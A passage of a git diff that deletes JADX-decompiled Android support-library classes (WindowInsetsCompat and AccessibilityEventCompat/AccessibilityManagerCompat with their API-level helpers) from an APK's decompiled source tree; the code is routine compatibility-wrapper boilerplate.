IMPL.getSourceWindowInsets(windowInsetsCompat.mInsets); - } - - public int getSystemWindowInsetLeft() { - return IMPL.getSystemWindowInsetLeft(this.mInsets); - } - - public int getSystemWindowInsetTop() { - return IMPL.getSystemWindowInsetTop(this.mInsets); - } - - public int getSystemWindowInsetRight() { - return IMPL.getSystemWindowInsetRight(this.mInsets); - } - - public int getSystemWindowInsetBottom() { - return IMPL.getSystemWindowInsetBottom(this.mInsets); - } - - public boolean hasSystemWindowInsets() { - return IMPL.hasSystemWindowInsets(this.mInsets); - } - - public boolean hasInsets() { - return IMPL.hasInsets(this.mInsets); - } - - public boolean isConsumed() { - return IMPL.isConsumed(this.mInsets); - } - - public boolean isRound() { - return IMPL.isRound(this.mInsets); - } - - public WindowInsetsCompat consumeSystemWindowInsets() { - return IMPL.consumeSystemWindowInsets(this.mInsets); - } - - public WindowInsetsCompat replaceSystemWindowInsets(int i, int i2, int i3, int i4) { - return IMPL.replaceSystemWindowInsets(this.mInsets, i, i2, i3, i4); - } - - public WindowInsetsCompat replaceSystemWindowInsets(Rect rect) { - return IMPL.replaceSystemWindowInsets(this.mInsets, rect); - } - - public int getStableInsetTop() { - return IMPL.getStableInsetTop(this.mInsets); - } - - public int getStableInsetLeft() { - return IMPL.getStableInsetLeft(this.mInsets); - } - - public int getStableInsetRight() { - return IMPL.getStableInsetRight(this.mInsets); - } - - public int getStableInsetBottom() { - return IMPL.getStableInsetBottom(this.mInsets); - } - - public boolean hasStableInsets() { - return IMPL.hasStableInsets(this.mInsets); - } - - public WindowInsetsCompat consumeStableInsets() { - return IMPL.consumeStableInsets(this.mInsets); - } - - public boolean equals(Object obj) { - if (this == obj) { - return true; - } - if (obj == null || getClass() != obj.getClass()) { - return false; - } - Object obj2 = this.mInsets; - Object obj3 = ((WindowInsetsCompat) obj).mInsets; - return obj2 == null ? obj3 == null : obj2.equals(obj3); - } - - public int hashCode() { - Object obj = this.mInsets; - if (obj == null) { - return 0; - } - return obj.hashCode(); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static WindowInsetsCompat wrap(Object obj) { - if (obj == null) { - return null; - } - return new WindowInsetsCompat(obj); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static Object unwrap(WindowInsetsCompat windowInsetsCompat) { - if (windowInsetsCompat == null) { - return null; - } - return windowInsetsCompat.mInsets; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/WindowInsetsCompatApi20.java b/apk_3230/decompiled_source/sources/android/support/v4/view/WindowInsetsCompatApi20.java deleted file mode 100644 index 14292c1..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/WindowInsetsCompatApi20.java +++ /dev/null @@ -1,48 +0,0 @@ -package android.support.v4.view; - -import android.view.WindowInsets; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class WindowInsetsCompatApi20 { - WindowInsetsCompatApi20() { - } - - public static Object consumeSystemWindowInsets(Object obj) { - return ((WindowInsets) obj).consumeSystemWindowInsets(); - } - - public static int getSystemWindowInsetBottom(Object obj) { - return ((WindowInsets) obj).getSystemWindowInsetBottom(); - } - - public static int getSystemWindowInsetLeft(Object obj) { - return ((WindowInsets) obj).getSystemWindowInsetLeft(); - } - - public static int getSystemWindowInsetRight(Object obj) { - return ((WindowInsets) obj).getSystemWindowInsetRight(); - } - - public static int getSystemWindowInsetTop(Object obj) { - return ((WindowInsets) obj).getSystemWindowInsetTop(); - } - - public static boolean hasInsets(Object obj) { - return ((WindowInsets) obj).hasInsets(); - } - - public static boolean hasSystemWindowInsets(Object obj) { - return ((WindowInsets) obj).hasSystemWindowInsets(); - } - - public static boolean isRound(Object obj) { - return ((WindowInsets) obj).isRound(); - } - - public static Object replaceSystemWindowInsets(Object obj, int i, int i2, int i3, int i4) { - return ((WindowInsets) obj).replaceSystemWindowInsets(i, i2, i3, i4); - } - - public static Object getSourceWindowInsets(Object obj) { - return new WindowInsets((WindowInsets) obj); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/WindowInsetsCompatApi21.java b/apk_3230/decompiled_source/sources/android/support/v4/view/WindowInsetsCompatApi21.java deleted file mode 100644 index 2a4dee9..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/WindowInsetsCompatApi21.java +++ /dev/null @@ -1,41 +0,0 @@ -package android.support.v4.view; - -import android.graphics.Rect; -import android.view.WindowInsets; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class WindowInsetsCompatApi21 { - WindowInsetsCompatApi21() { - } - - public static Object consumeStableInsets(Object obj) { - return ((WindowInsets) obj).consumeStableInsets(); - } - - public static int getStableInsetBottom(Object obj) { - return ((WindowInsets) obj).getStableInsetBottom(); - } - - public static int getStableInsetLeft(Object obj) { - return ((WindowInsets) obj).getStableInsetLeft(); - } - - public static int getStableInsetRight(Object obj) { - return ((WindowInsets) obj).getStableInsetRight(); - } - - public static int getStableInsetTop(Object obj) { - return ((WindowInsets) obj).getStableInsetTop(); - } - - public static boolean hasStableInsets(Object obj) { - return ((WindowInsets) obj).hasStableInsets(); - } - - public static boolean isConsumed(Object obj) { - return ((WindowInsets) obj).isConsumed(); - } - - public static Object replaceSystemWindowInsets(Object obj, Rect rect) { - return ((WindowInsets) obj).replaceSystemWindowInsets(rect); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityEventCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityEventCompat.java deleted file mode 100644 index 47b81a1..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityEventCompat.java +++ /dev/null @@ -1,204 +0,0 @@ -package android.support.v4.view.accessibility; - -import android.view.accessibility.AccessibilityEvent; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class AccessibilityEventCompat { - public static final int CONTENT_CHANGE_TYPE_CONTENT_DESCRIPTION = 4; - public static final int CONTENT_CHANGE_TYPE_SUBTREE = 1; - public static final int CONTENT_CHANGE_TYPE_TEXT = 2; - public static final int CONTENT_CHANGE_TYPE_UNDEFINED = 0; - private static final AccessibilityEventVersionImpl IMPL = new AccessibilityEventKitKatImpl(); - public static final int TYPES_ALL_MASK = -1; - public static final int TYPE_ANNOUNCEMENT = 16384; - public static final int TYPE_ASSIST_READING_CONTEXT = 16777216; - public static final int TYPE_GESTURE_DETECTION_END = 524288; - public static final int TYPE_GESTURE_DETECTION_START = 262144; - public static final int TYPE_TOUCH_EXPLORATION_GESTURE_END = 1024; - public static final int TYPE_TOUCH_EXPLORATION_GESTURE_START = 512; - public static final int TYPE_TOUCH_INTERACTION_END = 2097152; - public static final int TYPE_TOUCH_INTERACTION_START = 1048576; - public static final int TYPE_VIEW_ACCESSIBILITY_FOCUSED = 32768; - public static final int TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED = 65536; - public static final int TYPE_VIEW_CONTEXT_CLICKED = 8388608; - public static final int TYPE_VIEW_HOVER_ENTER = 128; - public static final int TYPE_VIEW_HOVER_EXIT = 256; - public static final int TYPE_VIEW_SCROLLED = 4096; - public static final int TYPE_VIEW_TEXT_SELECTION_CHANGED = 8192; - public static final int TYPE_VIEW_TEXT_TRAVERSED_AT_MOVEMENT_GRANULARITY = 131072; - public static final int TYPE_WINDOWS_CHANGED = 4194304; - public static final int TYPE_WINDOW_CONTENT_CHANGED = 2048; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface AccessibilityEventVersionImpl { - void appendRecord(AccessibilityEvent accessibilityEvent, Object obj); - - int getAction(AccessibilityEvent accessibilityEvent); - - int getContentChangeTypes(AccessibilityEvent accessibilityEvent); - - int getMovementGranularity(AccessibilityEvent accessibilityEvent); - - Object getRecord(AccessibilityEvent accessibilityEvent, int i); - - int getRecordCount(AccessibilityEvent accessibilityEvent); - - void setAction(AccessibilityEvent accessibilityEvent, int i); - - void setContentChangeTypes(AccessibilityEvent accessibilityEvent, int i); - - void setMovementGranularity(AccessibilityEvent accessibilityEvent, int i); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AccessibilityEventStubImpl implements AccessibilityEventVersionImpl { - @Override // android.support.v4.view.accessibility.AccessibilityEventCompat.AccessibilityEventVersionImpl - public void appendRecord(AccessibilityEvent accessibilityEvent, Object obj) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityEventCompat.AccessibilityEventVersionImpl - public int getAction(AccessibilityEvent accessibilityEvent) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityEventCompat.AccessibilityEventVersionImpl - public int getContentChangeTypes(AccessibilityEvent accessibilityEvent) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityEventCompat.AccessibilityEventVersionImpl - public int getMovementGranularity(AccessibilityEvent accessibilityEvent) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityEventCompat.AccessibilityEventVersionImpl - public Object getRecord(AccessibilityEvent accessibilityEvent, int i) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityEventCompat.AccessibilityEventVersionImpl - public int getRecordCount(AccessibilityEvent accessibilityEvent) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityEventCompat.AccessibilityEventVersionImpl - public void setAction(AccessibilityEvent accessibilityEvent, int i) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityEventCompat.AccessibilityEventVersionImpl - public void setContentChangeTypes(AccessibilityEvent accessibilityEvent, int i) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityEventCompat.AccessibilityEventVersionImpl - public void setMovementGranularity(AccessibilityEvent accessibilityEvent, int i) { - } - - AccessibilityEventStubImpl() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AccessibilityEventIcsImpl extends AccessibilityEventStubImpl { - AccessibilityEventIcsImpl() { - } - - @Override // android.support.v4.view.accessibility.AccessibilityEventCompat.AccessibilityEventStubImpl, android.support.v4.view.accessibility.AccessibilityEventCompat.AccessibilityEventVersionImpl - public void appendRecord(AccessibilityEvent accessibilityEvent, Object obj) { - AccessibilityEventCompatIcs.appendRecord(accessibilityEvent, obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityEventCompat.AccessibilityEventStubImpl, android.support.v4.view.accessibility.AccessibilityEventCompat.AccessibilityEventVersionImpl - public Object getRecord(AccessibilityEvent accessibilityEvent, int i) { - return AccessibilityEventCompatIcs.getRecord(accessibilityEvent, i); - } - - @Override // android.support.v4.view.accessibility.AccessibilityEventCompat.AccessibilityEventStubImpl, android.support.v4.view.accessibility.AccessibilityEventCompat.AccessibilityEventVersionImpl - public int getRecordCount(AccessibilityEvent accessibilityEvent) { - return AccessibilityEventCompatIcs.getRecordCount(accessibilityEvent); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AccessibilityEventJellyBeanImpl extends AccessibilityEventIcsImpl { - AccessibilityEventJellyBeanImpl() { - } - - @Override // android.support.v4.view.accessibility.AccessibilityEventCompat.AccessibilityEventStubImpl, android.support.v4.view.accessibility.AccessibilityEventCompat.AccessibilityEventVersionImpl - public void setMovementGranularity(AccessibilityEvent accessibilityEvent, int i) { - AccessibilityEventCompatJellyBean.setMovementGranularity(accessibilityEvent, i); - } - - @Override // android.support.v4.view.accessibility.AccessibilityEventCompat.AccessibilityEventStubImpl, android.support.v4.view.accessibility.AccessibilityEventCompat.AccessibilityEventVersionImpl - public int getMovementGranularity(AccessibilityEvent accessibilityEvent) { - return AccessibilityEventCompatJellyBean.getMovementGranularity(accessibilityEvent); - } - - @Override // android.support.v4.view.accessibility.AccessibilityEventCompat.AccessibilityEventStubImpl, android.support.v4.view.accessibility.AccessibilityEventCompat.AccessibilityEventVersionImpl - public void setAction(AccessibilityEvent accessibilityEvent, int i) { - AccessibilityEventCompatJellyBean.setAction(accessibilityEvent, i); - } - - @Override // android.support.v4.view.accessibility.AccessibilityEventCompat.AccessibilityEventStubImpl, android.support.v4.view.accessibility.AccessibilityEventCompat.AccessibilityEventVersionImpl - public int getAction(AccessibilityEvent accessibilityEvent) { - return AccessibilityEventCompatJellyBean.getAction(accessibilityEvent); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AccessibilityEventKitKatImpl extends AccessibilityEventJellyBeanImpl { - AccessibilityEventKitKatImpl() { - } - - @Override // android.support.v4.view.accessibility.AccessibilityEventCompat.AccessibilityEventStubImpl, android.support.v4.view.accessibility.AccessibilityEventCompat.AccessibilityEventVersionImpl - public void setContentChangeTypes(AccessibilityEvent accessibilityEvent, int i) { - AccessibilityEventCompatKitKat.setContentChangeTypes(accessibilityEvent, i); - } - - @Override // android.support.v4.view.accessibility.AccessibilityEventCompat.AccessibilityEventStubImpl, android.support.v4.view.accessibility.AccessibilityEventCompat.AccessibilityEventVersionImpl - public int getContentChangeTypes(AccessibilityEvent accessibilityEvent) { - return AccessibilityEventCompatKitKat.getContentChangeTypes(accessibilityEvent); - } - } - - private AccessibilityEventCompat() { - } - - public static int getRecordCount(AccessibilityEvent accessibilityEvent) { - return IMPL.getRecordCount(accessibilityEvent); - } - - public static void appendRecord(AccessibilityEvent accessibilityEvent, AccessibilityRecordCompat accessibilityRecordCompat) { - IMPL.appendRecord(accessibilityEvent, accessibilityRecordCompat.getImpl()); - } - - public static AccessibilityRecordCompat getRecord(AccessibilityEvent accessibilityEvent, int i) { - return new AccessibilityRecordCompat(IMPL.getRecord(accessibilityEvent, i)); - } - - public static AccessibilityRecordCompat asRecord(AccessibilityEvent accessibilityEvent) { - return new AccessibilityRecordCompat(accessibilityEvent); - } - - public static void setContentChangeTypes(AccessibilityEvent accessibilityEvent, int i) { - IMPL.setContentChangeTypes(accessibilityEvent, i); - } - - public static int getContentChangeTypes(AccessibilityEvent accessibilityEvent) { - return IMPL.getContentChangeTypes(accessibilityEvent); - } - - public void setMovementGranularity(AccessibilityEvent accessibilityEvent, int i) { - IMPL.setMovementGranularity(accessibilityEvent, i); - } - - public int getMovementGranularity(AccessibilityEvent accessibilityEvent) { - return IMPL.getMovementGranularity(accessibilityEvent); - } - - public void setAction(AccessibilityEvent accessibilityEvent, int i) { - IMPL.setAction(accessibilityEvent, i); - } - - public int getAction(AccessibilityEvent accessibilityEvent) { - return IMPL.getAction(accessibilityEvent); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityEventCompatIcs.java b/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityEventCompatIcs.java deleted file mode 100644 index fa2eca0..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityEventCompatIcs.java +++ /dev/null @@ -1,25 +0,0 @@ -package android.support.v4.view.accessibility; - -import android.view.accessibility.AccessibilityEvent; -import android.view.accessibility.AccessibilityRecord; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class AccessibilityEventCompatIcs { - AccessibilityEventCompatIcs() { - } - - public static int getRecordCount(AccessibilityEvent accessibilityEvent) { - return accessibilityEvent.getRecordCount(); - } - - public static void appendRecord(AccessibilityEvent accessibilityEvent, Object obj) { - accessibilityEvent.appendRecord((AccessibilityRecord) obj); - } - - public static Object getRecord(AccessibilityEvent accessibilityEvent, int i) { - return accessibilityEvent.getRecord(i); - } - - public static void setScrollable(AccessibilityEvent accessibilityEvent, boolean z) { - accessibilityEvent.setScrollable(z); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityEventCompatJellyBean.java b/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityEventCompatJellyBean.java deleted file mode 100644 index 7aaf772..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityEventCompatJellyBean.java +++ /dev/null @@ -1,24 +0,0 @@ -package android.support.v4.view.accessibility; - -import android.view.accessibility.AccessibilityEvent; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class AccessibilityEventCompatJellyBean { - AccessibilityEventCompatJellyBean() { - } - - public static void setMovementGranularity(AccessibilityEvent accessibilityEvent, int i) { - accessibilityEvent.setMovementGranularity(i); - } - - public static int getMovementGranularity(AccessibilityEvent accessibilityEvent) { - return accessibilityEvent.getMovementGranularity(); - } - - public static void setAction(AccessibilityEvent accessibilityEvent, int i) { - accessibilityEvent.setAction(i); - } - - public static int getAction(AccessibilityEvent accessibilityEvent) { - return accessibilityEvent.getAction(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityEventCompatKitKat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityEventCompatKitKat.java deleted file mode 100644 index aff0278..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityEventCompatKitKat.java +++ /dev/null @@ -1,16 +0,0 @@ -package android.support.v4.view.accessibility; - -import android.view.accessibility.AccessibilityEvent; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class AccessibilityEventCompatKitKat { - AccessibilityEventCompatKitKat() { - } - - public static void setContentChangeTypes(AccessibilityEvent accessibilityEvent, int i) { - accessibilityEvent.setContentChangeTypes(i); - } - - public static int getContentChangeTypes(AccessibilityEvent accessibilityEvent) { - return accessibilityEvent.getContentChangeTypes(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityManagerCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityManagerCompat.java deleted file mode 100644 index 856ba93..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityManagerCompat.java +++ /dev/null @@ -1,197 +0,0 @@ -package android.support.v4.view.accessibility; - -import android.accessibilityservice.AccessibilityServiceInfo; -import android.support.v4.view.accessibility.AccessibilityManagerCompatIcs; -import android.support.v4.view.accessibility.AccessibilityManagerCompatKitKat; -import android.view.accessibility.AccessibilityManager; -import java.util.Collections; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class AccessibilityManagerCompat { - private static final AccessibilityManagerVersionImpl IMPL = new AccessibilityManagerKitKatImpl(); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface AccessibilityManagerVersionImpl { - boolean addAccessibilityStateChangeListener(AccessibilityManager accessibilityManager, AccessibilityStateChangeListener accessibilityStateChangeListener); - - boolean addTouchExplorationStateChangeListener(AccessibilityManager accessibilityManager, TouchExplorationStateChangeListener touchExplorationStateChangeListener); - - List getEnabledAccessibilityServiceList(AccessibilityManager accessibilityManager, int i); - - List getInstalledAccessibilityServiceList(AccessibilityManager accessibilityManager); - - boolean isTouchExplorationEnabled(AccessibilityManager accessibilityManager); - - AccessibilityManagerCompatIcs.AccessibilityStateChangeListenerWrapper newAccessibilityStateChangeListener(AccessibilityStateChangeListener accessibilityStateChangeListener); - - AccessibilityManagerCompatKitKat.TouchExplorationStateChangeListenerWrapper newTouchExplorationStateChangeListener(TouchExplorationStateChangeListener touchExplorationStateChangeListener); - - boolean removeAccessibilityStateChangeListener(AccessibilityManager accessibilityManager, AccessibilityStateChangeListener accessibilityStateChangeListener); - - boolean removeTouchExplorationStateChangeListener(AccessibilityManager accessibilityManager, TouchExplorationStateChangeListener touchExplorationStateChangeListener); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface AccessibilityStateChangeListener { - void onAccessibilityStateChanged(boolean z); - } - - @Deprecated - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static abstract class AccessibilityStateChangeListenerCompat implements AccessibilityStateChangeListener { - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface TouchExplorationStateChangeListener { - void onTouchExplorationStateChanged(boolean z); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AccessibilityManagerStubImpl implements AccessibilityManagerVersionImpl { - @Override // android.support.v4.view.accessibility.AccessibilityManagerCompat.AccessibilityManagerVersionImpl - public boolean addAccessibilityStateChangeListener(AccessibilityManager accessibilityManager, AccessibilityStateChangeListener accessibilityStateChangeListener) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityManagerCompat.AccessibilityManagerVersionImpl - public boolean addTouchExplorationStateChangeListener(AccessibilityManager accessibilityManager, TouchExplorationStateChangeListener touchExplorationStateChangeListener) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityManagerCompat.AccessibilityManagerVersionImpl - public boolean isTouchExplorationEnabled(AccessibilityManager accessibilityManager) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityManagerCompat.AccessibilityManagerVersionImpl - public AccessibilityManagerCompatIcs.AccessibilityStateChangeListenerWrapper newAccessibilityStateChangeListener(AccessibilityStateChangeListener accessibilityStateChangeListener) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityManagerCompat.AccessibilityManagerVersionImpl - public AccessibilityManagerCompatKitKat.TouchExplorationStateChangeListenerWrapper newTouchExplorationStateChangeListener(TouchExplorationStateChangeListener touchExplorationStateChangeListener) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityManagerCompat.AccessibilityManagerVersionImpl - public boolean removeAccessibilityStateChangeListener(AccessibilityManager accessibilityManager, AccessibilityStateChangeListener accessibilityStateChangeListener) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityManagerCompat.AccessibilityManagerVersionImpl - public boolean removeTouchExplorationStateChangeListener(AccessibilityManager accessibilityManager, TouchExplorationStateChangeListener touchExplorationStateChangeListener) { - return false; - } - - AccessibilityManagerStubImpl() { - } - - @Override // android.support.v4.view.accessibility.AccessibilityManagerCompat.AccessibilityManagerVersionImpl - public List getEnabledAccessibilityServiceList(AccessibilityManager accessibilityManager, int i) { - return Collections.emptyList(); - } - - @Override // android.support.v4.view.accessibility.AccessibilityManagerCompat.AccessibilityManagerVersionImpl - public List getInstalledAccessibilityServiceList(AccessibilityManager accessibilityManager) { - return Collections.emptyList(); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AccessibilityManagerIcsImpl extends AccessibilityManagerStubImpl { - AccessibilityManagerIcsImpl() { - } - - @Override // android.support.v4.view.accessibility.AccessibilityManagerCompat.AccessibilityManagerStubImpl, android.support.v4.view.accessibility.AccessibilityManagerCompat.AccessibilityManagerVersionImpl - public AccessibilityManagerCompatIcs.AccessibilityStateChangeListenerWrapper newAccessibilityStateChangeListener(final AccessibilityStateChangeListener accessibilityStateChangeListener) { - return new AccessibilityManagerCompatIcs.AccessibilityStateChangeListenerWrapper(accessibilityStateChangeListener, new AccessibilityManagerCompatIcs.AccessibilityStateChangeListenerBridge() { // from class: android.support.v4.view.accessibility.AccessibilityManagerCompat.AccessibilityManagerIcsImpl.1 - @Override // android.support.v4.view.accessibility.AccessibilityManagerCompatIcs.AccessibilityStateChangeListenerBridge - public void onAccessibilityStateChanged(boolean z) { - accessibilityStateChangeListener.onAccessibilityStateChanged(z); - } - }); - } - - @Override // android.support.v4.view.accessibility.AccessibilityManagerCompat.AccessibilityManagerStubImpl, android.support.v4.view.accessibility.AccessibilityManagerCompat.AccessibilityManagerVersionImpl - public boolean addAccessibilityStateChangeListener(AccessibilityManager accessibilityManager, AccessibilityStateChangeListener accessibilityStateChangeListener) { - return AccessibilityManagerCompatIcs.addAccessibilityStateChangeListener(accessibilityManager, newAccessibilityStateChangeListener(accessibilityStateChangeListener)); - } - - @Override // android.support.v4.view.accessibility.AccessibilityManagerCompat.AccessibilityManagerStubImpl, android.support.v4.view.accessibility.AccessibilityManagerCompat.AccessibilityManagerVersionImpl - public boolean removeAccessibilityStateChangeListener(AccessibilityManager accessibilityManager, AccessibilityStateChangeListener accessibilityStateChangeListener) { - return AccessibilityManagerCompatIcs.removeAccessibilityStateChangeListener(accessibilityManager, newAccessibilityStateChangeListener(accessibilityStateChangeListener)); - } - - @Override // android.support.v4.view.accessibility.AccessibilityManagerCompat.AccessibilityManagerStubImpl, android.support.v4.view.accessibility.AccessibilityManagerCompat.AccessibilityManagerVersionImpl - public List getEnabledAccessibilityServiceList(AccessibilityManager accessibilityManager, int i) { - return AccessibilityManagerCompatIcs.getEnabledAccessibilityServiceList(accessibilityManager, i); - } - - @Override // android.support.v4.view.accessibility.AccessibilityManagerCompat.AccessibilityManagerStubImpl, android.support.v4.view.accessibility.AccessibilityManagerCompat.AccessibilityManagerVersionImpl - public List getInstalledAccessibilityServiceList(AccessibilityManager accessibilityManager) { - return AccessibilityManagerCompatIcs.getInstalledAccessibilityServiceList(accessibilityManager); - } - - @Override // android.support.v4.view.accessibility.AccessibilityManagerCompat.AccessibilityManagerStubImpl, android.support.v4.view.accessibility.AccessibilityManagerCompat.AccessibilityManagerVersionImpl - public boolean isTouchExplorationEnabled(AccessibilityManager accessibilityManager) { - return AccessibilityManagerCompatIcs.isTouchExplorationEnabled(accessibilityManager); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AccessibilityManagerKitKatImpl extends AccessibilityManagerIcsImpl { - AccessibilityManagerKitKatImpl() { - } - - @Override // android.support.v4.view.accessibility.AccessibilityManagerCompat.AccessibilityManagerStubImpl, android.support.v4.view.accessibility.AccessibilityManagerCompat.AccessibilityManagerVersionImpl - public AccessibilityManagerCompatKitKat.TouchExplorationStateChangeListenerWrapper newTouchExplorationStateChangeListener(final TouchExplorationStateChangeListener touchExplorationStateChangeListener) { - return new AccessibilityManagerCompatKitKat.TouchExplorationStateChangeListenerWrapper(touchExplorationStateChangeListener, new AccessibilityManagerCompatKitKat.TouchExplorationStateChangeListenerBridge() { // from class: android.support.v4.view.accessibility.AccessibilityManagerCompat.AccessibilityManagerKitKatImpl.1 - @Override // android.support.v4.view.accessibility.AccessibilityManagerCompatKitKat.TouchExplorationStateChangeListenerBridge - public void onTouchExplorationStateChanged(boolean z) { - touchExplorationStateChangeListener.onTouchExplorationStateChanged(z); - } - }); - } - - @Override // android.support.v4.view.accessibility.AccessibilityManagerCompat.AccessibilityManagerStubImpl, android.support.v4.view.accessibility.AccessibilityManagerCompat.AccessibilityManagerVersionImpl - public boolean addTouchExplorationStateChangeListener(AccessibilityManager accessibilityManager, TouchExplorationStateChangeListener touchExplorationStateChangeListener) { - return AccessibilityManagerCompatKitKat.addTouchExplorationStateChangeListener(accessibilityManager, newTouchExplorationStateChangeListener(touchExplorationStateChangeListener)); - } - - @Override // android.support.v4.view.accessibility.AccessibilityManagerCompat.AccessibilityManagerStubImpl, android.support.v4.view.accessibility.AccessibilityManagerCompat.AccessibilityManagerVersionImpl - public boolean removeTouchExplorationStateChangeListener(AccessibilityManager accessibilityManager, TouchExplorationStateChangeListener touchExplorationStateChangeListener) { - return AccessibilityManagerCompatKitKat.removeTouchExplorationStateChangeListener(accessibilityManager, newTouchExplorationStateChangeListener(touchExplorationStateChangeListener)); - } - } - - public static boolean addAccessibilityStateChangeListener(AccessibilityManager accessibilityManager, AccessibilityStateChangeListener accessibilityStateChangeListener) { - return IMPL.addAccessibilityStateChangeListener(accessibilityManager, accessibilityStateChangeListener); - } - - public static boolean removeAccessibilityStateChangeListener(AccessibilityManager accessibilityManager, AccessibilityStateChangeListener accessibilityStateChangeListener) { - return IMPL.removeAccessibilityStateChangeListener(accessibilityManager, accessibilityStateChangeListener); - } - - public static List getInstalledAccessibilityServiceList(AccessibilityManager accessibilityManager) { - return IMPL.getInstalledAccessibilityServiceList(accessibilityManager); - } - - public static List getEnabledAccessibilityServiceList(AccessibilityManager accessibilityManager, int i) { - return IMPL.getEnabledAccessibilityServiceList(accessibilityManager, i); - } - - public static boolean isTouchExplorationEnabled(AccessibilityManager accessibilityManager) { - return IMPL.isTouchExplorationEnabled(accessibilityManager); - } - - public static boolean addTouchExplorationStateChangeListener(AccessibilityManager accessibilityManager, TouchExplorationStateChangeListener touchExplorationStateChangeListener) { - return IMPL.addTouchExplorationStateChangeListener(accessibilityManager, touchExplorationStateChangeListener); - } - - public static boolean removeTouchExplorationStateChangeListener(AccessibilityManager accessibilityManager, TouchExplorationStateChangeListener touchExplorationStateChangeListener) { - return IMPL.removeTouchExplorationStateChangeListener(accessibilityManager, touchExplorationStateChangeListener); - } - - private AccessibilityManagerCompat() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityManagerCompatIcs.java b/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityManagerCompatIcs.java deleted file mode 100644 index 527bf76..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityManagerCompatIcs.java +++ /dev/null @@ -1,72 +0,0 @@ -package android.support.v4.view.accessibility; - -import android.accessibilityservice.AccessibilityServiceInfo; -import android.view.accessibility.AccessibilityManager; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class AccessibilityManagerCompatIcs { - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface AccessibilityStateChangeListenerBridge { - void onAccessibilityStateChanged(boolean z); - } - - AccessibilityManagerCompatIcs() { - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class AccessibilityStateChangeListenerWrapper implements AccessibilityManager.AccessibilityStateChangeListener { - Object mListener; - AccessibilityStateChangeListenerBridge mListenerBridge; - - public AccessibilityStateChangeListenerWrapper(Object obj, AccessibilityStateChangeListenerBridge accessibilityStateChangeListenerBridge) { - this.mListener = obj; - this.mListenerBridge = accessibilityStateChangeListenerBridge; - } - - public int hashCode() { - Object obj = this.mListener; - if (obj == null) { - return 0; - } - return obj.hashCode(); - } - - public boolean equals(Object obj) { - if (this == obj) { - return true; - } - if (obj == null || getClass() != obj.getClass()) { - return false; - } - Object obj2 = this.mListener; - Object obj3 = ((AccessibilityStateChangeListenerWrapper) obj).mListener; - return obj2 == null ? obj3 == null : obj2.equals(obj3); - } - - @Override // android.view.accessibility.AccessibilityManager.AccessibilityStateChangeListener - public void 